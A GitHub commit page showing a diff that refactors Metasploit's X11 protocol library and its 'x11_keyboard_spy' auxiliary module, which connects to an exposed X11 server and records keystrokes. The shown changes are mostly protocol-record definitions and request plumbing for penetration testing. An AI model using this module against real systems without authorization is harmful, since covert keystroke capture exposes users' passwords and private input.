Skip to content

Commit

Permalink
further x11 revisions
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Apr 26, 2024
1 parent a7b428a commit 45312a5
Show file tree
Hide file tree
Showing 9 changed files with 426 additions and 196 deletions.
25 changes: 17 additions & 8 deletions lib/rex/proto/x11.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@

module Rex::Proto::X11
include Rex::Proto::X11::Connect
include Rex::Proto::X11::Extensions
include Rex::Proto::X11::Extension
include Rex::Proto::X11::Xkeyboard
include Rex::Proto::X11::Keysymdef
include Rex::Proto::X11::Window
Expand All @@ -26,7 +26,7 @@ class X11Error < BinData::Record
end

# https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
class X11GetPropertyResponse < BinData::Record
class X11GetPropertyResponseHeader < BinData::Record
endian :little
uint8 :reply
uint8 :format
Expand All @@ -38,7 +38,16 @@ class X11GetPropertyResponse < BinData::Record
uint32 :pad0
uint32 :pad1
uint32 :pad2
string :value_data, read_length: -> { value_length }
end

# https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
class X11GetPropertyResponseData < BinData::Record
rest :value_data
end

class X11GetPropertyResponse < BinData::Record
x11_get_property_response_header :header
x11_get_property_response_data :data
end

# https://xcb.freedesktop.org/manual/structxcb__intern__atom__reply__t.html
Expand All @@ -56,7 +65,7 @@ class X11InternAtomResponse < BinData::Record
class X11GetPropertyRequestBody < BinData::Record
endian :little
uint8 :delete_field, initial_value: 0 # \x00 false, assuming \x01 true?
uint16 :request_length, value: -> { (num_bytes / 4) +1 } # +1 for header opcode
uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode
uint32 :window # X11ConnectionResponse.screen_root
uint32 :property, initial_value: 23 # "\x17\x00\x00\x00" RESOURCE_MANAGER
uint32 :get_property_type, initial_value: 31 # "\x1f\x00\x00\x00" # get-property-type (31 = string)
Expand All @@ -68,7 +77,7 @@ class X11GetPropertyRequestBody < BinData::Record
class X11CreateGraphicalContextRequestBody < BinData::Record
endian :little
uint8 :pad0
uint16 :request_length, value: -> { (num_bytes / 4) +1 } # +1 for header opcode
uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode
uint32 :cid # X11ConnectionResponse.resource_id
uint32 :drawable # X11ConnectionResponse.screen_root
# gc-value-mask mappings from wireshark, uint32 total size
Expand Down Expand Up @@ -131,22 +140,22 @@ class X11CreateGraphicalContextRequestBody < BinData::Record
class X11FreeGraphicalContextRequestBody < BinData::Record
endian :little
uint8 :pad0, value: 1
uint16 :request_length, value: -> { (num_bytes / 4) +1 } # +1 for header opcode
uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode
uint32 :gc # X11ConnectionResponse.resource_id_base
end

# https://xcb.freedesktop.org/manual/structxcb__get__input__focus__request__t.html
class X11GetInputFocusRequestBody < BinData::Record
endian :little
uint8 :pad0
uint16 :request_length, value: -> { (num_bytes / 4) +1 } # +1 for header opcode
uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode
end

# https://xcb.freedesktop.org/manual/structxcb__intern__atom__request__t.html
class X11InternAtomRequestBody < BinData::Record
endian :little
uint8 :only_if_exists, initial_value: 0 # 0 false, 1 true?
uint16 :request_length, value: -> { (num_bytes / 4) +1 } # +1 for header opcode
uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode
uint16 :name_length, value: -> { name.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding
uint16 :pad0, initial_value: 0
string :name, trim_padding: true
Expand Down
65 changes: 65 additions & 0 deletions lib/rex/proto/x11/extension.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# -*- coding: binary -*-

#
# This mixin is a simplistic implementation of X11 extensions protocol
#
# Wireshark dissector: https://wiki.wireshark.org/X11
#

module Rex::Proto::X11::Extension
# https://xcb.freedesktop.org/manual/structxcb__query__extension__reply__t.html
class X11QueryExtensionResponse < BinData::Record
endian :little
uint8 :reply
uint8 :pad0
uint16 :sequence_number # QueryExtension
uint32 :response_length
uint8 :present # 8bit boolean, \x01 == true \x00 == false
uint8 :major_opcode # this is the ID of the extension
uint8 :first_event
uint8 :first_error
# 64 + 64 + 32 padding 'undecoded' in wireshark
uint64 :pad1
uint64 :pad2
uint32 :pad3
end

# https://xcb.freedesktop.org/manual/structxcb__query__extension__request__t.html
class X11QueryExtensionRequest < BinData::Record
endian :little
uint8 :opcode, value: 98 # QueryExtension
uint8 :pad0, value: 0
uint16 :request_length, value: -> { num_bytes / 4 }
uint16 :extension_length, value: -> { extension.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding
uint16 :pad1, initial_value: 0 # seems to possibly be a counter for how many times this has been called
string :extension, length: 12, trim_padding: true
end

# built based on Wireshark processor
class X11ExtensionToggleRequest < BinData::Record
endian :little
uint8 :opcode # X11QueryExtensionResponse.major-opcode
uint8 :toggle, initial_value: 0 # 0 enable
uint16 :request_length, value: -> { num_bytes / 4 }
uint16 :wanted_major, onlyif: :versions? # extension major version
uint16 :wanted_minor, onlyif: :versions? # extension minor version

def versions?
wanted_major.nonzero? || wanted_minor.nonzero?
end
end

# built based on Wireshark processor
class X11ExtensionToggleReply < BinData::Record
endian :little
uint8 :reply
uint8 :pad0
uint16 :reply_sequence_number
uint32 :reply_length
uint32 :maximum_request_length
# 64 + 64 + 32 padding 'undecoded' in wireshark
uint64 :pad1
uint64 :pad2
uint32 :pad3
end
end
90 changes: 45 additions & 45 deletions modules/auxiliary/gather/x11_keyboard_spy.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Auxiliary
include Exploit::Remote::Tcp
include Rex::Proto::X11
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::X11::Connect
include Msf::Exploit::Remote::X11

def initialize(info = {})
super(
Expand Down Expand Up @@ -74,37 +74,6 @@ def check
Exploit::CheckCode::Safe('X11 connection was not successful')
end

def process_initial_connection_response(packet)
begin
connection = X11ConnectionResponse.read(packet)
rescue EOFError
vprint_bad("Connection packet malformed (size: #{packet.length}), attempting to get read more data")
packet += sock.get_once(-1, 1)
begin
connection = X11ConnectionResponse.read(packet)
rescue StandardError
fail_with(Msf::Module::Failure::UnexpectedReply, 'Failed to parse X11 connection initialization response packet')
end
end
connection
end

def process_extension_query(packet, extension)
begin
extension_response = X11QueryExtensionResponse.read(packet)
rescue ::EOFError
packet += sock
fail_with(Msf::Module::Failure::UnexpectedReply, "Unable to process QueryExtension Response. Raw packet: #{packet}")
end

if extension_response.present == 1
print_good(" Extension #{extension} is present with id #{extension_response.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, "Extension #{extension} is NOT present (#{packet.inspect})")
end
extension_response
end

# This function takes map data and converts it to a hashtable so that
# we can translate from x11 key press data to the actual key on the
# keyboard which was pressed.
Expand Down Expand Up @@ -175,28 +144,59 @@ def run
end

vprint_status('[2/9] Checking on BIG-REQUESTS extension')
sock.put(X11QueryExtensionRequest.new(extension: 'BIG-REQUESTS', unused2: query_extension_calls).to_binary_s) # check if BIG-REQUESTS exist, not sure why
query_extension_calls += 1
big_requests_plugin = process_extension_query(sock.get_once(-1, 1), 'BIG-REQUESTS')
big_requests_plugin = query_extension('BIG-REQUESTS', query_extension_calls)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
if big_requests_plugin.present == 1
print_good(" Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension BIG-REQUESTS is NOT present')
end

vprint_status('[3/9] Enabling BIG-REQUESTS')
sock.put(X11ExtensionToggleRequest.new(opcode: big_requests_plugin.major_opcode).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)
toggle = toggle_extension(big_requests_plugin.major_opcode)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

vprint_status('[4/9] Creating new graphical context')
sock.put(X11CreateGraphicalContextRequest.new(cid: connection.body.resource_id_base,
drawable: connection.body.screen_root,
gc_value_mask_background: 1).to_binary_s +
X11GetPropertyRequest.new(window: connection.body.screen_root).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)
gc_header = X11RequestHeader.new(opcode: 55)
gc_body = X11CreateGraphicalContextRequestBody.new(
cid: connection.body.resource_id_base,
drawable: connection.body.screen_root,
gc_value_mask_background: 1
)

gp_header = X11RequestHeader.new(opcode: 20)
gp_body = X11GetPropertyRequestBody.new(window: connection.body.screen_root)

sock.put(gc_header.to_binary_s +
gc_body.to_binary_s +
gp_header.to_binary_s +
gp_body.to_binary_s) # not sure why we do this

# nothing valuable in the response, just make sure we read it in to
# confirm its expected data and not leave the response on the socket
begin
packet = sock.timed_read(X11GetPropertyResponseHeader.new.num_bytes)
packet_header = X11GetPropertyResponseHeader.read(packet)

packet = sock.timed_read(packet_header.value_length * 4)
X11GetPropertyResponseData.read(packet)
rescue StandardError => e
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
end

vprint_status('[5/9] Checking on XKEYBOARD extension')
sock.put(X11QueryExtensionRequest.new(extension: 'XKEYBOARD', unused2: query_extension_calls).to_binary_s) # check if XKEYBOARD exist, not sure why
xkeyboard_plugin = process_extension_query(sock.get_once(-1, 1), 'XKEYBOARD')
xkeyboard_plugin = query_extension('XKEYBOARD', query_extension_calls)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
if xkeyboard_plugin.present == 1
print_good(" Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension XKEYBOARD is NOT present')
end

vprint_status('[6/9] Enabling XKEYBOARD')
sock.put(X11ExtensionToggleRequest.new(opcode: xkeyboard_plugin.major_opcode, wanted_major: 1).to_binary_s) # use keyboard
sock.get_once(-1, 1)
toggle = toggle_extension(xkeyboard_plugin.major_opcode)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

vprint_status('[7/9] Requesting XKEYBOARD map')
sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
Expand Down
Loading

0 comments on commit 45312a5

Please sign in to comment.